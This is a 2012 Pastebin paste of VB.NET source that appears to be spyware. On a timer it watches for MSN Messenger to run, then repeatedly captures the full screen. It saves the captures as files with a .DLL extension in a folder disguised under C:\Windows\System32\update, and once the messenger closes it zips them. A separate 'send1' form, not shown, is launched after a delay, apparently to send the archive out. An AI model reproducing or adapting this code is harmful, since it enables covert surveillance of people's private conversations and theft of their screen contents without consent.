Guest User

Untitled

a guest
Feb 12th, 2012
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 3.33 KB | None | 0 0
  1. Imports System.Text
  2. Imports System.Diagnostics.Process
  3. Imports System.IO.Path
  4. Imports System.IO.Packaging
  5. Imports System.Runtime.InteropServices
  6. Imports System.Threading
  7.  
  8.  
  9. Public Class recr
  10.     Private Sub rec_Tick(sender As System.Object, e As System.EventArgs) Handles rec.Tick
  11.         If Not Process.GetProcessesByName("msnmsgr").Length = 0 Then
  12.             Call diag_load()
  13.         Else
  14.         End If
  15.     End Sub
  16.     Private Sub reclose1_Tick(sender As System.Object, e As System.EventArgs) Handles reclose1.Tick
  17.         If Process.GetProcessesByName("msnmsgr").Length = 0
  18.             Thread.Sleep(20000)
  19.             CompressFile("C:\Windows\System32\update\key\rec", "C:\Windows\System32\update\key\rec" & ".zip")
  20.         End If
  21.     End Sub
  22.     Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
  23.         Thread.Sleep(50000)
  24.         send1.Show()
  25.     End Sub
  26.     Private Sub diag_load()
  27.         diag.Enabled = True
  28.         FileNUM.Text = "1"
  29.     End Sub
  30.     Private Sub diag_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles diag.Tick
  31.         Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
  32.         Dim BMP As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
  33.         Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(BMP)
  34.         g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)
  35.  
  36.         Dim DirectoryA As String = "C:\WINDOWS\system32\update\key\rec\rc2"
  37.         Dim Frame1 As String = FileNUM.Text
  38.         Dim img1 As String = ".DLL"
  39.  
  40.         FileNUM.Text = FileNUM.Text + 1
  41.         BMP.Save(DirectoryA & Frame1 & img1)
  42.     End Sub
  43.     Public Sub CompressFile(ByVal Path As String, ByVal FN As String)
  44.         Try
  45.             Dim Z As System.IO.Packaging.ZipPackage
  46.             Z = System.IO.Packaging.Package.Open(FN, IO.FileMode.Create)
  47.             Dim FileList As New List(Of String)
  48.             Dim DirList As New List(Of String)
  49.             DirList.Add(Path)
  50.             Do While DirList.Count > 0
  51.                 Dim FL = System.IO.Directory.GetFiles(DirList(0))
  52.                 Dim I As Integer
  53.                 For I = 0 To FL.Count - 1
  54.                     FileList.Add(FL(I))
  55.                 Next
  56.                 Dim DL = System.IO.Directory.GetDirectories(DirList(0))
  57.                 For I = 0 To DL.Count - 1
  58.                     DirList.Add(DL(I))
  59.                 Next
  60.                 DirList.RemoveAt(0)
  61.             Loop
  62.             Do While FileList.Count > 0
  63.                 Dim FileName = FileList(0)
  64.                 Me.UN1.Text = "File:" & FileName
  65.                 Me.UN2.Text = "Remaining:" & FileList.Count
  66.                 Application.DoEvents()
  67.                 Dim B = System.IO.File.ReadAllBytes(FileName)
  68.                 Dim partUriDocument As Uri = System.IO.Packaging.PackUriHelper.CreatePartUri(New Uri(FileName.Substring(Path.Length), UriKind.Relative))
  69.                 Dim P = Z.CreatePart(partUriDocument, System.Net.Mime.MediaTypeNames.Application.Zip, IO.Packaging.CompressionOption.Maximum)
  70.                 P.GetStream.Write(B, 0, B.Length)
  71.                 FileList.RemoveAt(0)
  72.             Loop
  73.             Z.Close()
  74.         Catch ex As Exception
  75.             MsgBox(ex.Message)
  76.         End Try
  77.     End Sub
  78. End Class
Advertisement
Add Comment
Please, Sign In to add comment